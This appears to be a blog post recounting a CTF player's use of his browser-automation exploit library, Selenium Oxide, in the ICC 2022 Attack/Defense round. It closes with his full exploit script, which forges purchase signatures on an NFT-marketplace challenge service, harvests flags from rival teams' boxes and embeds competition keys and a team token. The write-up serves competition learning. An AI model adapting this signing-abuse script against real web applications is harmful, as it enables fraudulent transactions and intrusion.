Preamble
Recently I had the pleasure of playing in the first International Cybersecurity Challenge for CyberSci Team Canada. This competition was truly the first of its kind, bringing cyber competitors from all over the world to duke it out in Jeopardy and Attack/Defense formats. It was also the place where I field tested Selenium Oxide. This should serve as a guide to what the library can and cannot do, as well as a journal of my experiences using it.
For some context, Selenium Oxide is a builder pattern browser based web exploitation framework contained in a Python library. I began working on it after the 2022 Global Cyber Games, which may be either an obscure or infamous event by this point. During the Games, we came across a website which, for the life of me, I could not figure out how to exploit using Requests. Granted, this was probably due to my own inexperience with automating exploits, but some tokens in PHPMyAdmin confused me as far as automation went, so I opted to use another automation library, Selenium. Selenium I figured would allow some automation of the exploit, and it would be browser based so anything sent over the wire would be like a user doing it themselves. Easy right?
Ha.
The first thing I noticed about Selenium was the sheer amount of overhead required to even start. It took about sixteen lines of code to do a simple exploit, and you had to continually reference the driver, in addition to manually grabbing and manipulating elements in two functions or more.
The second thing I noticed was it was about optimizing testing speed, but not stealth, which can definitely be useful in A/D CTFs. I didn't want to write wait functions every time, so I got annoyed with the whole approach.
Thus, Selenium Oxide was born. I spent a while hacking on it, on and off due to school and work taking up a good portion of my time and energy. Leading up to the ICC, it also fell a bit to the wayside in favour of tools like flagWarehouse, but I still kept it in my back pocket, because I knew some challenge was gonna call for it.
ICC 2022 Field Testing
Then we're dropped into Athens, Greece. A beautiful city, and the home of the Stavros Niarchos Foundation Cultural Centre, the world battleground of cyber for 3 days. The second day was Attack/Defense, which if you were like a lot of us and not familiar with the game format, is a format that revolves around teams attacking other boxes while defending their own, with identical services on each box. Automation is critical here, since flags expire and are cycled every couple of minutes.
One of the challenges revolved around an OpenSea clone, with "NFTs" that you could buy or donate. Basically a parody of the original. Finding an exploit for the platform didn't take horribly long for us, but the exploitation called for a signature using some weird form of elliptic curve cryptography. This was out of my league, and I'd taken on the responsibility of writing the automated exploit for the challenge. So what was I to do? Well, one avenue was reverse engineer the signature algorithm, and the other avenue was just use the browser.
Wait.
Use the browser. Sound familiar?
I installed Selenium Oxide since I was on a relatively fresh install of Debian on my laptop. I also grabbed Geckodriver and a Firefox binary, since I knew I would need those.
I'd designed Selenium Oxide so that writing exploits or fuzzers was as streamlined as possible. Initializing took just a protocol and service host, with some potential for using proxies and stealth mode. I managed to use Requests and SeO2 (Selenium Oxide so I don't have to write it out) in tandem, though that does put a Requests integration in the pot of features to be added. The problems mainly started coming in when actually running the exploit. The way the challenge worked was that you had to click a buy button twice in order to buy an NFT, and that was part of both the exploit setup and execution. This caused a problem as the button was not registering as being active, causing the exploit to fail. Crap. What now?
Well, there was that signature forging. Maybe I could do that? Exposing the Selenium driver in the exploit class let me do stuff that wasn't explicitly defined in the library, such as execute JavaScript. So I found the JavaScript to actually process the transaction, pasted it into a JS executor with some arguments, ran the attack client and....
Signature verification failed.
What? That can't be right, I had the correct private key in the browser. I thought about debugging it, but figured I was too close to lose any attack points, and the Latin America team had already gotten first blood. So I had to think fast.
For a time I wound up making the exploit slightly more manual than I would have liked. Using python's Input function, I used SeO2 and Requests to get me to the purchase page. Two clicks, then enter, and the program would snag and submit the flag. I had to expose the driver once again to do this, but it worked. Two clicks, then enter. Once on each individual NFT on each individual target.
Gah, that's not sustainable. No good.
After a few minutes of doing this, I realized that I needed to start working on other stuff if we wanted to get anywhere. So I killed the client and went back to the exploit script in between running around helping my teammates with their tasks and getting sitreps.
Taking another look at the JavaScript execution, I realized that the arguments I was passing in were being processed as undefined in the JS. Weird. So I amended the JavaScript, did some more debugging using the proxy feature with ZAP, and thought I had a more robust script.
Until Selenium decided that flash alerts were cause to throw exceptions.
Conclusion
As you can see, it wasn't perfect. But eventually I got to a point where the script was running reliably barring other teams patching, and any further tweaking required more brain energy than I had with a half hour remaining. SeO2 allowed me to use the browser's own JavaScript against it, which is where the library seems to shine. Complicated client side measures, combined with a need for stealth in A/D, and potentially even a proxy for debugging or logging, and you've got a perfect storm for Selenium Oxide's strengths.
There are certainly other applications of the library, especially since I'm currently working on Version 1.1.0 at the time of writing, but those are a story for another time. If you want to check out the project on GitHub, feel free to head to the link below, or search Selenium Oxide on the platform.
If you're curious, here's the final endgame exploit I used, in conjunction with FlagWarehouse. The Capabilities thing was a custom hack I did on the fly for the competition, but will be added to the v1.1.0 release.
#!/usr/bin/python3
import sys
import re
import requests
import random
import string
from selenium_oxide.exploit_builder import ExploitBuilder
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
def get_random_string(length):
# choose from all lowercase letter
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
PRIV_KEY = "37ebd24a1abc46fe8c461e828d4492385bee3ebe139f93170f709b43f19e5bd8"
PUB_KEY = "d48ee5fcc11390ec4d42b4cc1a6ca88541504a1e3b495ed834e1c68feae9067ee32c7a3770df9a02179cc98e23ba970d0da9e90fd33eaa4226eb97c55007ee34"
# --- TEAM DATA ---
TEAM_TOKEN = "570e672168f96357dd325bcb6692d901"
# --- SERVICE DATA ---
PORT = 3003 # CHANGE THIS
SERVICE_NAME = "ClosedSea-2" # CHANGE THIS
# --- TARGET DATA ---
ip = sys.argv[1]
vuln_service = f"http://{ip}:{PORT}"
# --- REGEXES ---
flag_regex = re.compile(r'[A-Z0-9]{31}=')
nft_mint_regex = re.compile(r"<a class='btn btn-primary' href='http://10.60.\d.1:3003(/view/\w+-\w+-\w+-\w+-\w+)'>")
# --- RETRIEVING TARGET DATA ---
target_data = requests.get("http://10.10.0.1:8081/flagIds").json()
specific_target_data = target_data[SERVICE_NAME][ip]
# --- FLAGS ---
flag_bucket = [] # Every time you find a flag, append it to the bucket
# 1337 hax goes here
minter_session = requests.Session()
buyer_session = requests.Session()
capabilities = DesiredCapabilities.FIREFOX.copy()
capabilities['unexpectedAlertBehaviour'] = 'ignore'
buyer_exploit = ExploitBuilder("http", f"{ip}:{PORT}", stealth=False, capabilities=capabilities)
(
buyer_exploit
.get("/login")
.type_by_id("login_username", "echo-one")
.type_by_id("login_password", "echo-one")
.type_by_id("private_key", PRIV_KEY)
.click_by_id("login_submit")
)
for target in specific_target_data:
buyer_exploit.get(f"/view/{target}")
signature = buyer_exploit.driver.execute_script(f'function buy() {{var nft_id = "{target}";var user_id = window.user_data.user_id;var blob = JSON.stringify({{ nft_id, user_id }});var privkey = window.user_data.private_key;var signature = sign(blob, privkey);$("#buySignature").val(signature);return signature}} return buy()')
price = buyer_exploit.driver.execute_script(f'return document.getElementsByName("price")[0]')
session_cookie = buyer_exploit.get_cookie_by_name("session")
s = requests.Session()
s.cookies.set(session_cookie['name'], session_cookie['value'])
buy = s.post(f"{vuln_service}/buy/{target}", data={
"signature": signature,
"price": price
})
flag_bucket += re.findall(flag_regex, buy.text)
# # You can print the whole output, the client will extract the flags with a regex
for flag in flag_bucket:
print(flag)
res = requests.put("http://10.10.0.1:8080/flags",
headers={'X-Team-Token': TEAM_TOKEN},
json=flag_bucket,
timeout=5)
buyer_exploit.driver.close()
Top comments (0)